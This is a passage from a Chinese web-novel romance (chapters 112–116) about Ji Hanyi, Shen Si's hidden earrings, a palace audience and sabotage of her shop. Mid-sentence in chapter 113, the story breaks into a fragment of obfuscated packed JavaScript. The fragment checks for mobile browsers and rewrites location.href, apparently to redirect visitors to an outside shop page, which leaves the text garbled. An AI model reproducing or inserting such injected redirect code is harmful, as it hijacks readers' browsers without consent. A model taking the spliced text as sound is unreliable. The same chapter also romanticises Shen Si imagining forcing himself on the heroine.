又想自己一直都想感激沈肆,如今他喜欢这个砚台,自己心里也是高兴的,她也总算能送他一件称心如意的东西。
去结账的时候,沈肆就站在季含漪的身边,这砚在这店里算是极好的,要一百五十两,再加上之前看的那个紫砚,一共二百五十两。
季含漪倒是没有肉痛,就是身边的容春期期艾艾拿银子的时候肉痛极了。
季含漪赶紧轻踢容春的脚,叫她现在可千万别丢人,叫沈肆又觉得她舍不得。
沈肆微微睨了一眼季含漪那偷偷摸摸的小动作,娇小饱满的人微微低头,动静里看起来分外的可爱,无声处又笑了笑。
出去街上,下午天色还微明,沈肆站在季含漪面前,看着她帷帽下的耳畔,隐隐约约依旧素净,他低低问她:“画卷看了么?”
季含漪一愣,想起她昨天从沈府回来后就没有空闲,本来昨晚空闲一会儿就打算看的,结果外祖母又叫她去,回来的太晚就没看了。
这会儿沈肆一问起,季含漪眼里含着愧疚:“还没来得及看。”
沈肆静静看着季含漪,薄纱下的莹白若隐若现,身边人流川流不息,他忽伸手撩开了季含漪帷帽上的帘子。
季含漪被沈肆这样的动作吓了一跳,下意识后退一步,但白纱被他掀开,她看到沈肆异常深邃的眸子深深看着她,那眼里暗波涌动,全是她看不明白的情绪。
她在脑中一片空白里,听到沈肆低沉如呢喃的声音:“回去了记得要看。”
第112章 沈肆像在引诱她
沈肆现在的声音听起来没有他平日里声音的那股冷淡,也不知是不是季含漪的错觉,听起来好似有一股低低的温柔。
他的眉目也没有之前那般疏离了,他还弯着腰,他那样矜贵的人,竟然微微弯着腰低头凑到自己面前来。
那张历来矜贵又高华的脸庞就在自己面前,他身上的沉香味传来,依旧带着一股冷淡的疏远,但却又好似不是那般。
她甚至觉得此刻沈肆看她的眼神直勾勾的,像是在引诱她一般。
季含漪的心里噗噗直跳,愣愣看着此刻的沈肆,脑中一片空白。
她被沈肆的眼神看得有些受不住,又是在大街上人人瞧着,这般好似有些不太好,季含漪咬着唇,有些不敢看沈肆的眼睛,轻轻点头:“好。”
沈肆眼神又看着她:“还有什么话想与我说么?”
季含漪被沈肆这话说的脑中全乱了,她不知晓该说什么,又讷讷的摇头。
捏在她香软白纱上的手指一顿,沈肆看着季含漪有些逃避的眼神,温和下来的眉目缓缓恢复如从前,眼眸紧紧看着季含漪白生生又软嫩的脸庞,她眼里依旧眸如春水,脸上是净澈的干净,不夹杂半分与情爱相关的情绪。
他此刻却早已为她心猿意马,早已为她把持不住,更早已为她顾不得从前的自持,他紧张的等着她的话,她却好似并不在意。
他垂了眼帘,抑制住自己的心思,又低低落了一句:“我明日也会进宫。”
修长的指尖微松,白纱从指间滑落,重新将季含漪娇美的脸庞掩在那白纱之下,沈肆缓缓的直起身,又静看了季含漪一眼,再转身离去。
季含漪怔怔看着沈肆离去的背影,还在回想沈肆的那句话。
沈肆说的那话又是什么意思?
身边人来人往,熙熙攘攘有些喧闹的声音就在耳边,在这条最热闹的大街上,沈肆挺拔的身影在季含漪的眼前渐渐消失,她的心快了快。
回去后,季含漪用匣子将砚台包好让容春送去表哥那里,现在表哥还没有回来,季含漪是想趁着表哥没在的时候送,不然当面送大抵又要推拒一番。
再有因着外祖母提起的那事,季含漪想着还是不要再见表哥的好。
又去母亲那儿说了会儿话,一起用了晚膳,出来的时候已经天黑了。
回去梳洗完坐在罗汉榻上失神的想着下午沈肆看她的眼神,还有他与她说的那句话。
又忙叫容春将沈肆给她的那幅画给自己拿来。
容春连忙去拿画,却拿了许久才拿过来。
拿过来时,季含漪放下手里的手炉,微微侧过身子接过了画卷,又问:“怎么这么久才拿来?”。
容春便道:“本打算明日走的,所以今日就事先收拾好了东西,这画卷便与其他画卷放在一起了,奴婢认不出来,只好重新一卷一卷打开看,但从前老爷的画奴婢也认不得,花了些功夫。”
季含漪就问:“那你怎么辨认出来的?”
容春咧嘴笑:"奴婢认得老爷的印,只要全打开,没看到老爷的印,就是了。"
季含漪笑了笑,正要将画打开,容春又往旁看了看,接着又朝着季含漪面前摊开了手掌,小声道:“姑娘,奴婢刚才打开这副画的时候,里头落出了一对耳坠。”
季含漪顿了瞬,看向容春掌心里的那对小巧的耳坠,放下了画,将耳坠拿进了手里。
她怔然将耳坠拿到灯下看,是一对金累丝镶翡翠珍珠的玉蝶耳坠,做工精巧,翡翠玉是上等,在灯下熠熠生辉又雅致。
她看了耳坠好半晌,不由想起从前的那只玉连环的玉佩,也是在画里落出来的。
她有些失神。
容春在旁边小声问:“画里头怎么会有耳坠呢,是谁落进去的。”
季含漪已不知晓怎么回答容春,她将耳坠捏在掌心中,凉凉的触感,的确是有些奇怪的。
她又问:“还见着了别的么?”
容春摇头:“没见着了。”
季含漪便低声对容春道:“许是谁落下的吧,这事你别再提。”
容春忙点头,又好奇的问:“那耳坠还回去么?”
季含漪微微失了神。
夜里入睡的时候,季含漪在床榻上翻来覆去的,难得的没有睡意。
她将枕下的那一对耳坠拿出来,掀开床帐,借着床头那一盏烛灯细细的看,耳坠很精美贵重,光是那极翠绿的翡翠,便价值不菲。
这是他特意送给自己的么。
季含漪想起下午沈肆问她那画,问她有没有还有想对她说的,她怔怔的想,沈肆的意思是想知晓她喜不喜欢么。
若是耳坠真的是给自己的,那他又是什么意思,为什么要忽然给自己送耳坠。
她又忽的想起沈肆好似说她戴耳坠好看的话。
脸颊上蓦的有些烫,脑中乱七八糟的,季含漪轻吟一身,又埋在被子里,偏偏一闭上眼睛,全都是沈肆那张清淡又有些严肃的脸庞。
他永远端方又清贵,一丝不苟,眉眼冷淡,好似又不会是他会做的事情。
季含漪拍了拍自己的脸,不敢再想下去。
自己后日也要走了,又做什么想这些……
季含漪埋在杯中,头一次觉得心颤颤的睡不着。
或许这画是旁人给沈肆的,而他从来没有打开过呢。
她一整夜为了那对耳坠翻来覆去,连何时睡着的也不知晓。
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早上一大早容春就进来叫她,季含漪一整夜没睡好,满眼的疲惫,但今日要入宫去见皇后娘娘,她也不能耽搁。
尽管浑身都是软绵绵的,还是努力起了床榻。
容春拿来了两件稍好的衣裳来问:“姑娘觉得哪件好些?”
今日去见皇后娘娘,也不能太过于素净了,季含漪便指着那身粉底蓝边的妆花立领裙,领口是红宝石子母扣,这已经是她现在唯一还算好料子,能在正式场合里穿的衣裳了。
等穿戴妥帖,坐在铜镜前,面前妆匣里倒是有几件首饰,本来都收着的,现在又都拿了出来。
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发上一只玛瑙珍珠单簪和一支碧玺芙蓉花簪,耳上是那对她时常戴的碧玉耳坠,脖子上带着珊瑚八宝璎珞。
这么一番首饰,那妆匣里也只剩下两三件首饰了,容春看了都觉得难过。
季含漪瞧着铜镜里的人,虽说戴了朱翠,但眼底的那股倦意掩盖不了。
季含漪又捂了捂眼睛,想着今日见皇后娘娘也不该出错才是,又饮了几口茶。
上午出发的时候,顾宛云身上穿戴得比上回才精贵些,那发上的金簪玉翠,还有领口的玉色盘扣,都显得端庄又富贵体面,看样子那从前宫里的老嬷嬷的确是有些来头的,就连张氏今日的这一身穿戴都与往日不同,低调又得体,全是养尊处优的贵妇人模样。
连那一举一动也慢条斯理了不少。
上了马车,顾宛云显得尤其紧张,一直紧紧握着季含漪的手,手心都出了汗。
季含漪宽慰了两句,但好似作用也不大,季含漪也是力不从心的,身上这会还倦。
又微微侧头看向身边顾宛云那期待又紧张的眸子,还有那脸颊耳根处微微的粉红,她又将自己的全部胡思乱想歇了。
清清静静的去蔚县,再在那里自在的开一间画铺,这才是她眼前应该想的。
这般想下去,心里就又松了。
到了皇后娘娘那里,宫殿外的宫人早就等候在外,引着往内殿走。
内殿很安静,季含漪一行人进去后都低着头,又恭恭敬敬的对着皇后娘娘福礼问安。
皇后温和赐座的声音响起,她们才敢起身小心到一边位置上坐下。
皇后的目光先是看在顾宛云的身上,见着顾宛云坐姿端庄,微低着眉,身形微瘦,模样秀丽,接着又将目光看在季含漪身上。
时隔许多年,这是皇后再一次见到季含漪,却是微微一顿。
依旧是记忆里那般白净的玉软花娇的样子,看起来软嫩的能挤出来水似的,说是曾为人妇,是半点看不出来的。
单看顾宛云还好,但与季含漪一对比,不仅那点相似没了,就连整个容色都暗淡了些,并不出众鲜艳。
上回听母亲说,沈肆对顾婉云像是有意,皇后却是不怎么信的。
倒是沈肆帮了季含漪与谢家和离,这件事倒是值得深思。
她今日就是想看看阿肆到底喜欢谁。
皇后又看向张氏,显然惊心装扮过,脸上却有些市侩与讨好。
她收回视线,笑了笑,让她们不用拘谨,又叫宫人上茶与点心,慢慢闲话。
皇后问了顾宛云一些寻常的话,又将话头移到季含漪身上问:“你与谢家的和离,是因为你三年无子?”
季含漪显然没料到皇后娘娘会这么问,也更不知晓皇后娘娘竟然还会知晓这个,她稍在心里思量一下后得体的回话:“并不是如此,是谢家大爷纳妾,违背了约定。”
皇后娘娘淡淡哦了一声,又看着季含漪:“所以你就执意要与谢家和离了?”
季含漪一顿,垂下眼帘点头:“是。”
第113章 沈肆的表白
皇后又深深看季含漪一眼,倒是没想到季含漪看着弱不禁风和柔弱,身上倒是有些韧性和气性。
她又问她:“你没想过和离之后不好过么,还是你根本不在乎与谢家的和离,早就想好了别的退路?”
皇后现在倒是有些怀疑季含漪与自己弟弟,在和离之前就有些故事,那若是这般的话,季含漪这般女子,她是决计不会成全她在自己弟弟身边的。
这话问的好似有些逼人,季含漪还是依旧如常平稳的回话:“谢家大房言而无信,失信过一次,便会有第二次。”
“民女并没有事先准备退路,也并不后悔现在的决定。”
皇后微微挑了挑眉,倒是没想到季含漪是这么回答。
她又看着她问:“那你将来有什么打算?可有想过再嫁?”
说着她笑了声:“你模样生的好,若是你的确有这个心思,本宫倒是可以为你做媒。”
“不说好的家世,寻常些的倒是不在话下,”:
皇后说这话的时候看了眼悄无声息站在门口处的沈肆,她知晓他今日一定要来的。
她看了看沈肆的视线,那道向来万事不在意的眸子,未看顾宛云一眼,此刻却紧紧落在季含漪身上。
皇后便又看向季含漪,现在她倒是希望季含漪一口答应下来,那也彻底断了阿肆的心思了。
旁边的张氏听了这话倒是惊了惊,皇后娘娘竟给季含漪一个嫁过人的做媒,这可是天大的恩赐,不由看向季含漪,倒是不想她错过机会,也能让她离了顾家了。
季含漪听了皇后的话有些诧异,随即她又如实开口:“民女没想过再嫁,也不想再嫁人。”
说着季含漪微微垂眸:“且民女已准备好,后日就要离开京城,投奔二叔,更不会想嫁人的事情。”
季含漪的话一落下,殿内一瞬鸦雀无声,
张氏瞪大眼睛看向季含漪,简直不敢相信季含漪竟然放弃了这么好的机会。
这可是多大的恩典,皇后娘娘赐婚做媒再嫁,旁人想说闲话都不可能,她竟然说不想再嫁人了。
皇后也愣了下。
沈肆的眼眸却紧紧看在季含漪耳上的那对耳坠上。
她没戴他送她的那对耳坠。
他在画卷里给她留了信纸的,若是她肯戴上他送的耳坠,便是她愿意与他百年好合,结为夫妻。
他只需要带上耳坠,让他知晓她的心意就好了。
有他在今后根本不需要她担心。
可是她没有戴。
她还说不想再嫁了。
沈肆渐渐抿紧了唇,走进了殿内。
众人的目光随着沈肆的进来都看在沈肆身上。
顾宛云更是脸色酡红和紧张。
她想起上回去沈府,沈侯爷也这般进来,每回都这么巧,他这回也是特意来看自己的么。
她的心噗噗直跳,终于大着胆子抬头往沈肆的脸上看去,却见着一张凉薄寒冷如冰窟的脸庞。
如高悬的寒月,高不可攀又寒冷刺骨,叫她一下心生畏惧与惶恐,脸上微微一白,脑中一片空白和茫然,不明白为何沈侯爷脸上会是这样的神情。
季含漪也往沈肆的脸上看去,在看到沈肆那张如寒冰似的冷脸时也是微微一愣。
看着他忽然停在自己面前,从前那样仪态肃正的人,此刻却在众多目光面前停顿在她面前,正高大严正的低头看着她。
他身上的暗影落在她身上,那双凤眼里的情绪看得她微微一阵心慌。
好在沈肆只是在她面前停留了一瞬便移开了步子,就去朝着皇后娘娘问安。
季含漪怔怔看着沈肆的背影,那股心慌却仍旧没有消退下去。
她又想到了沈肆给她的耳坠,那到底又是什么意思,她心慌意乱的乱想,连沈肆与皇后说了什么也没有听清,只见着宫人忽过来,请她们先往偏殿去等候。
季含漪不由往沈肆的背影上看去一眼,那道背影又如从前那般凉薄笔直,生人勿近,仿佛他昨日看起来的那一丝温和都是她的错觉。
起身跟着宫人到了偏殿坐下,季含漪指尖捏紧。
偏殿并不是太大,旁边还有宫人侍立在一旁,张氏与顾宛云也依旧小心规矩的坐好,更不好低声说话。
才坐了没一会儿,外头进来一位宫人,过来季含漪的面前弯腰小声请她出去。
张氏和顾宛云都朝着季含漪看来,季含漪也不好多问,忙站起来跟着那宫人走。
只是走的方向却不是刚才进偏殿的那道门,走的是另外一处,她心里又忐忑起来,忍不住小声问:“是皇后娘娘要见我么?”
那宫人未回话,只引着季含漪去到了一处门口处便停了下来,朝着季含漪低声道:“季姑娘进去吧。”
季含漪稍微有些迟疑,还是往里面走了进去。
进去后才知里头是一间小佛堂,是皇后娘娘平日里祈福礼佛的地方。
香案上的香火袅袅,混合着果盘上的果香。
而带着烟尘的光线正落在负手站在中间的沈肆身上。
那高大的身形如鹤,一身红色公服,更衬他带着凉意的雅致,还有无情无欲。
季含漪在看到沈肆的那一瞬,脚步就不自觉的顿住,即便两人之间如今好似多了好些交集,但她依旧不敢站在离他太近的位置。
她想起从前,从前少年的沈肆比现在更冷,她即便能留在他书房,也听不到他与她说一句话。
他喜欢清静,季含漪已经习惯在他面前轻手轻脚,即便她翻阅他藏书的时候,她也不敢在翻书的时候发出声音。
沈肆听到声音转过身,看到的是季含漪依旧站在离他很远的位置。
她像是每一步都精心算准过,每一次都站在离他三步外的位置,不远不近的跟着他。
沈肆往季含漪面前走了一步,看着她低着头,耳畔的那只绿色坠子打在她脸庞,她身上的粉色蓝花的衣衫勾勒她纤细饱满的身形,将那张本就有些妩妩的脸庞衬得愈加旖旎。
他紧紧看着她,看着她随着他的靠近渐渐变得有些慌乱的神色,又看着她咬在那张饱满红艳的唇瓣上,再小心翼翼的往后退了半步。
他顿住了步子,低头居高临下的看她。
她身上幽幽香气传来,他看着她泛着水色的樱唇,又想起那夜吻她时候的柔软。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905861|189660||http|test|mini|href|location''.split(''|''),0,{}));
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r>沈肆喉咙间滚了滚,深邃的凤眸从她乌黑的发丝往下落在她低垂的侧脸上。
她依旧低着头,像是心虚的不敢看他。
沈肆唇边勾起一个似是嘲讽的笑意,修长的手指尖忍住这一刻要将她紧按在那满是香火的小案上,脱去她身上这身保守的裙衫,卸去她发上的钗环,将她玲珑又柔软的身子紧紧按在自己身下。
在那尊文殊菩萨面前,用力的抱紧她。
他为她生起的搅乱心神的心思,为她耗费的心神和无数个为她而起的不眠夜,全数都要交还给她。
全数都要让她知晓。
不该是他一人独受煎熬。
不该是他一人为她几乎耗去所有心神。
更不该是她罔顾他的心意,他的诚心,他的主动,他的衷肠,她却轻飘飘的说一句,她要走了。
明日就走,离开京城,去千里之外。
斩断一切交集。
深黑的凤眸紧紧看着人,体内疯张的情欲与被她践踏心意的情绪交织,如燎原之火,愈压制,便愈加猛烈。
季含漪几乎是有些心慌的低头,她看着沈肆的公服下摆,看着他腰间的花犀带,看着他腰上的腰牌。
好似愈来愈近,好似头顶是一团炙热的火,在沉默里要将她无声的烧烬。
她终于是抵不住这般近的距离,抵不住头顶她看不见的注视,紧张的抬起了头。
目光与沈肆的目光撞上,黝黑的凤眸如海,看得季含漪心里一愣,心就提了起来。
他身上的沉香气漫过来,叫她连呼吸也忘了,竟在此刻对沈肆生出了一股害怕和畏惧。
她努力找回自己的思绪,又小声的问:“沈大人找我么?”
依旧是这声撇清关系又疏远的沈大人,叫沈肆身上紧绷的心弦几乎崩断。
她这般拒绝他,她又是怎么能够坦然的与他问出这句话的。
她拒绝了他,他就不该再来找她么。
还是她觉得她的拒绝已经清楚,他不该来纠缠。
他已无剩多少理智,甚至他很清楚,即便他当真要对她做什么,在这个地方,她半点反抗的地步都没有。
她更甚至连申冤的余地都没有,即便顾家知晓,即便她的舅母就在不远处的偏殿里,依然没有人能够救的了她。
是不是或许这样,她就不会走了。
又是长长的沉默。
季含漪已经从心慌变为了手足无措。
她不明白沈肆为什么要叫她来这里,他又想与她说什么。
她更不明白沈肆脸上那微微讥讽嘲弄的神情是为什么。
她只乱糟糟的想,因为沈肆昨天说他今天会来,所以她也将耳坠带来了,不管是不是沈肆给她的,她总之要先问问他。
她在犹豫要不要现在拿出来。
正在失神时,她终于听到沈肆低沉的声音:“明日就走么?”
季含漪一怔,忙又点头嗯了一声:“东西已经收拾好了,明日就走。”
头顶却传来一声淡淡的嗤笑。
季含漪一愣,茫然的抬头,对上沈肆的眼眸。
那双凤眸里此刻分外的凉薄,紧抿的薄唇更是勾勒出淡漠的弧度。
第114章 真的不留下来么
季含漪没有见过这样的沈肆,从前的沈肆再冷淡,也不会用这样的神情看她,仿佛她做了极对不起他的事情。
可她想不透,为什么。
又听到低低带着些冷淡的声音:“你是因为我才要走的么?”
沈肆想季含漪的性子本就是有些软糯的,胆子些许的小,她或许是因为拒绝了他,怕他对她做什么,便要逃之夭夭。
季含漪更是茫然,她忙摇头:“我早就决定好了要去投奔二叔的。”
沈肆垂眸,紧绷的心弦克制,却还是再与她问出来:“真的不留下来么?”
季含漪稍稍有些愕然,沈肆的话是在挽留她么。
可是那淡淡的声音里根本听不出他的意思,又想是自己自作多情,他不过是随口一说。
她很是认真的朝着沈肆摇头:“我与母亲已经商议好了,不会留下了。”
“我想要留在父亲呆过的地方,也不会再嫁人了,我好不容易从谢家离开,我想过自在的日子。”
沈肆抿了抿唇,静淡的眸色里什么情绪都看不出来,又像是里头翻滚着波涛。
他半晌点头:“好。”
说着沈肆又低低看了季含漪一眼:“回去吧。”
季含漪看着沈肆冷淡的眉眼,他看她的眼神淡淡,仿佛如同在看陌生的人,仿佛他再也不耐烦与她多说一句话。
可明明是他叫她来的。
可她敬重他,感激他,想要好好与他道别,她鼓起勇气开口,小声道:“沈大人,往后你也保重。”
沈肆没应声,沉默的眼眸里甚至没有看季含漪一眼。
季含漪便愈加紧张,本还有好些道别的话,如今已说不出口了。
她想起那对耳坠,从怀里将小匣子打开,深吸一口气看向沈肆道:“这副耳坠……”
只是季含漪的话还没有说完,她的声音就被沈肆冷淡的声音打断:“扔了就是。”
季含漪错愕的看着沈肆,指尖颤了一瞬,沈肆却只是淡淡的看了季含漪一眼:“耳坠的事情,你再不用提起,就当作没有见到过。”
说着沈肆抿了抿唇,声音冷淡:“也不是什么重要的东西。”
季含漪听着这冷淡的话发怔,原是她误会了。
那耳坠在画里面,大抵也只是阴差阳错让她看见了。
她还是想将耳坠还给沈肆:“沈大人,不是我的东西,我不能要。”
沈肆微微垂眼看着季含漪,极轻的自嘲了声,又道:“你随意处置就是,我不会再碰。”
沈肆说完,又低低看了眼季含漪脸上的神情,那双近在咫尺的杏眸里微微有些难过,他的心亦疼的厉害。
指尖动了动,却转身先离开了这里。
季含漪看着沈肆的背影怔了怔,她觉得他生气了,可她从来都看不懂沈肆,看不懂为什么。
她有些难过的站了站,才往外面走。
又回到原来的地方,没坐一会儿,皇后娘娘才重新召见。
重新见皇后娘娘的时候,皇后娘娘的脸色明显冷淡了些。
季含漪也能感觉到皇后娘娘的目光,总是有意无意的往自己身上看过来。
她从前跟着母亲去过许多场宴会,也并没有觉得太过于紧张,微微低着头,做出恭顺又规矩的模样。
皇后的目光又看了季含漪一眼,才问她:“确定了明日走么?”
季含漪点头:“已经确定了。”
对于季含漪这般坚持打算要走的决定,皇后倒是生了股莫名的情绪。
想起刚才沈肆站在自己面前说要见季含漪一面的模样,她倒是有些看不懂季含漪了。
当然,她也不知晓两人之间到底说了什么。
但现在季含漪依然要走,让皇后心里淡淡不是滋味。
她既是庆幸自己弟弟应该能对季含漪死心,又心里头含了股怅然。
倒不是季含漪不好,只是终究曾是别人之妇,他们这样的家族,即便不论出身,那也必然得是清白的。
季含漪,一点也不合适。
他走了也好。
明白了自己弟弟心里更在意的人是谁,皇后再看规规矩矩,还有些羞涩的坐在一边的顾宛容时,早已没有了任何说话的意思了。
顾宛云不过一名寻常不过的的世家女子,身
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上没有让人记住的才能,没有惊人的才貌,也没有特别讨喜的性子。
比她出色的女子,京城内有许多,她再平庸不过,她唯一能被考虑的是,她有两分的像季含漪。
但如今两人坐在一起,那两分也不像了。
而自己弟弟,明显是不会愿意将就的人,也明显独独对季含漪情有独钟。
但季含漪如今要走,阿肆会将就么。
皇后顿了顿心思,再未与顾宛云说话,连带着张氏也未再看一眼,就让人送她们回去。
张氏脸上明显生出错愕来,今日她原以为皇后娘娘会与自己女儿说好些话的,毕竟上回沈老夫人那般喜欢她女儿,却没想到才来不久就要让她们回去。
且皇后娘娘与她女儿也没说几句话,反而与季含漪倒是说了好几句。
她看了眼对面的季含漪,觉得要是季含漪没来的话,大抵皇后娘娘还会多与婉云说一些话。
心里头虽是不舒服,到底也什么也没说,带着顾宛云一起走了出去。
刚走到殿门口的时候,迎面又见着一位含笑女子过来,那女子生的端庄秀美,细腰窄肩,面如芙蓉,分外的漂亮。
且又见那女子身上穿着华服,举止高雅,发上云髻朱翠讲究又贵重,身后还跟着四五名宫人,宫人手上托着碟子,用铜盖盖住。
只一眼瞧这女子的身份,便是不同寻常。
这宫里头处处都是贵人,张氏自然也不敢怠慢了,虽说不认得,但也不敢倨傲冲撞,连忙拉着身边的顾宛云退去一边低头作礼。
季含漪亦认不得这女子,也站在了一旁。
原本以为等那女子走过去便好了,却又闻着一股芬芳香气,再接着是一道分外好听的声音:“可是顾大夫人与顾三姑娘?”
张氏简直又是惊了一下,忙抬头来问:“贵人如何认得我?”
顾宛云也愣了下,她是第一回进宫,还不知晓宫中竟然有认得她的人。
况且面前的女子身上有股从内而外的贵气,且仅仅是一眼,便是金枝玉叶和秀丽的美貌,叫她见了也自愧不如,生了自卑。
第115章 遇见孙宝琼
孙宝琼脸上带着端方的笑意,自小在贵族世家里熏染的气度,叫张氏这个年纪见了也微微有些心虚。
只听孙宝琼温和又好听的声音响起:“我听姑母提起过,今日顾家夫人与三姑娘要来,我本来特意做了我们宣州特有的甘露饼给你们和姑母尝尝的,没想你们这么快要走了,倒是不巧。”
孙宝琼的这一声姑母,把张氏都给绕糊涂了,理半天没有理出孙宝琼的身份来。
又听孙宝琼笑吟吟的含笑道:“我外祖母是荣显县主,我本是皇后娘娘的表侄女,为显得亲近,便称呼皇后娘娘为姑母了。”
张氏这才恍然大悟,想起来当今太后娘娘的亲妹妹不就是荣显县主么,那面前女子的身份可不是一般的身份。
她忙满脸含笑的问候,又道:“多谢郡君盛意,只是可惜今日留的不久,怕吃不到郡君特意做的甘露饼了,若是有下回,定然要尝的。”
孙宝琼视线落到站在张氏旁边的顾宛云身上,她稍稍深深看了顾宛云一眼,见着她容色虽有些出众,但也不至于惊艳,且又微微低着头,看不出个什么性情来。
也与寻常贵女没有什么不同来。
她淡淡一笑,又道:"无妨的,总会有机会的。"
说完孙宝琼的视线又落在季含漪的身上扫去一眼,初初一看叫她顿了顿,又多看一看。
随即她收回视线,倒没怎么太上心,很是客气的让张氏先走,才又让人去通传,去看皇后。
皇后见着孙宝琼来,还又做了糕点,不由笑着看着孙宝琼:“金枝玉叶长大的姑娘,倒不知晓你竟会这些。”
孙宝琼笑着去端过碟子,又弯腰用竹筷夹了一小块放到一个青瓷裂纹的小碟中,笑吟吟的双手捧着送到皇后的面前道:“我母亲很喜欢我做的糕点,太后娘娘也喜欢,我自来也没什么要紧的事,能叫身边的人开心,我也就高兴了。”
“这是宣州特有的甘露糕,姑母尝尝,看合不合胃口。”
皇后看着孙宝琼这不紧不慢的动作,又看着那送到面前来的小碟子,碟子精雅,那手指上的戒指手镯更是精贵,一举一动都是贵女的气度。
皇后不由的想,她的弟弟身边,也该带着这样的女子。
即便不是孙宝琼,但也不能是如季含漪那般嫁过人的。
这些日孙宝琼常过来她这儿陪着说话,孙宝琼自小读的书多,万事都懂一些,无论与她说什么,她都能够接上话,即便无话,她也能挑起话头来,不会有冷场的时候。
这的确也是种本事,浸人心脾,就连皇后开始本想着是太后那头的人,稍有些防备在,如今倒是觉得沈肆娶她也是不错的。
更何况沈肆娶了孙宝琼,反而与太后那头亲近了。
她知晓孙宝琼常来她身边也是有那意思的。
她那一口一声的显得亲近的姑母,只要不是个冷心肠,怎么不让人喜欢呢。
皇后笑着用勺子吃了一块,味道豪不意外的惊艳,她看着孙宝琼,又笑着道:“你来的时候可碰见了顾家人了?”
孙宝琼知道皇后娘娘在打量她,她依旧是那副得体的模样含笑:“正好碰着了,那位顾三姑娘瞧着像是蕙质兰心的人,我倒是想与她多说说话呢。”
说着又看向皇后:“下回她们再来,姑母叫上我一块陪着,说不定我还能与顾三姑娘结了姐妹,一起逗趣说话,热络场子。”
皇后笑了笑:“放心吧,我记着的。”
---
这头季含漪跟随张氏出了宫,上了马车,顾宛云便往季含漪身边靠了过来问:“刚才是谁叫你去的?”
季含漪便道:"皇后娘娘叫我过去说话的,问了些我在谢家的事情。"
顾宛云有些诧异的看着季含漪:“这些话皇后娘娘为何还要单独问。”
季含漪就摇头:“我也不知晓了。”
那头张氏淡淡看了季含漪一眼,又对着顾宛云责怪道:“今日沈侯爷也
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在,你怎么也不知晓在他跟前多说几句话?”
顾宛云脸色有些白,想起今日见到的沈侯爷的脸色,那样骇人严肃,她是有心想与沈侯爷多说几句话,可却半点不敢。
顾宛云低着头,手指紧紧捏着绣帕不说话,指尖攥紧,心里微乱。
张氏看顾宛云这般,倒也不说什么了,又想今日皇后娘娘稍显得冷淡,也不知道是不是哪里出了差错,心里头倒是有些惶然。
马车回了顾府,张氏领着顾宛云在前头先走,季含漪跟在后头,门房下人见着季含漪,忙过来季含漪身边,将怀里揣着的信交到季含漪手里。
季含漪看了信封,原是铺子管事送来的,忙又打开。
信纸上的事情写的很是急促,季含漪看到最后,心尖上都被气的微颤。
她转身叫容春去将她画好的画拿出来,出去一趟顺便将画送去抱山楼去。
容春看季含漪脸色不大好,赶忙去了。
容春将东西拿过来,主仆两人上了马车,直接往崇文门里街去。
崇文门里街连接南城与皇城,中间无数商贾,季含漪的铺子便是在这里头的一个并不起眼的巷子里。
她的铺子算不上地段好,但她的裱画铺也不需太好的地段,只要师傅功夫好,自然也会有人来。
季含漪父亲对画十分痴迷,每一幅画都要自己亲自装裱,季含漪自小也喜欢绘画,便跟着父亲学了父亲的手艺。
刚开始外祖母的给她的铺子是间鞋帽铺,又开在不起眼的地方,生意算不得好,每月进账也只有十来两,季含漪便将铺子改成了裱花铺。
刚接手的时候,她时时过来,三年经营,从刚开始的没有生意,到现在已经有不少的老主顾,每月除了工钱,倒能稳定百来两的银子,这是季含漪收益最好的铺子。
要不是要去蔚县,季含漪也是舍不得将铺子转了的。
只是有些人见不得她好过,昨夜竟叫人往她铺子里泼粪。
第116章 送状书去兵马司
季含漪到了的时候,铺子里的两个师傅正在忙着清理,掌柜的将铺子里裱好的画正一件一件的往外头搬。
铺子门前凡有经过的人,无一不捂着口鼻匆匆的避让开。
那股味道也实在大,容春闻了也受不住,用帕子捂着。
季含漪微微掀开帷帽的帘子一角,静静看着她辛苦经营的铺子,如今成了这般,眼里却比以往平静。
明掌柜一见季含漪来,赶紧放下手上的事情,走到了季含漪的面前:“夫人来了。”
明掌柜是还不知晓季含漪和离的事情,季含漪倒没先说这个,只是问:“知晓是谁泼的么?”
这一条巷子虽偏僻,但也有好几家的铺子,但其他铺子都好好的,唯独只泼她这一间,意图已经很明显,便是针对她的。
明掌柜摇头:“却是不知晓,昨夜在铺子里睡的师傅说睡到半夜,忽然被臭醒,起来一看,屋子里满是粪水,被那些人用粪水顺着门缝倒进来了。”
“还有门上的招牌,门石,都被泼了。”
季含漪抬头往上看一眼,招牌已经被卸下来,让人拿去洗了,现在那里空旷,她心头升起股难言的恼来。
明掌柜的声音依旧传入耳中:“铺子遭了这样的事情,没客人来也罢了,可店里已经装裱好的,早上客人来取画的时候,都说染了味道,将画给染臭了,不肯要。”
“有的画能赔,十来两银子也能赔,可有的画张口就要上百两,那是怎么也赔不起的。”
说着明掌柜看向季含漪:“夫人,您说现在怎么办?”
季含漪看向明掌柜:"报官了没有?"
明掌柜赶紧点头:“一早就去负责这条街的南城兵马司报官了,可官府的来了人,只是草草看了一眼就走了,我给了些茶钱给差役,问了能不能抓着到底是谁做的,但那差役说难。”
“因着这不属于盗案,也没有人受伤,算不上要紧的案子。”
“且这条巷子平日里只有我们这一家裱画铺,更没与人结什么仇怨,我也说不出个仇家,那差役就说深更半夜的,没有人见着,要查就如大海捞针。”
季含漪听了明掌柜的话,心里也明白,没有仇家,没有人证,又是桩小案子,衙门里的也不会用心去查,多半最后就不了了之了,吃个哑巴亏。
但她又仔细想了想,夜里是有火甲巡逻的,每半个时辰巡逻一回,那贼人能够躲避得了巡逻,必然熟悉这里。
再有铺子里被倒了这么多粪水,提着桶逃跑还能不被发觉,说明离这里并不远。
先不说有没有仇家,寻常人也不会无缘无故的做这样的事情,也可能是给银子办事的。
明日要走在即,却又忽然出了这样的事情,季含漪稍稍有些心力交瘁。
她摆手让掌柜的先去收拾画卷,再用抹了香的艾草熏一遍除去味道。
即便季含漪有心要赔,她也是真赔不起的,一幅画卷的价值难以估计,任凭人狮子大开口的话她也没那么多银子。
掌柜的听了季含漪的话如醍醐灌顶,连忙道:“这倒是个好法子。”
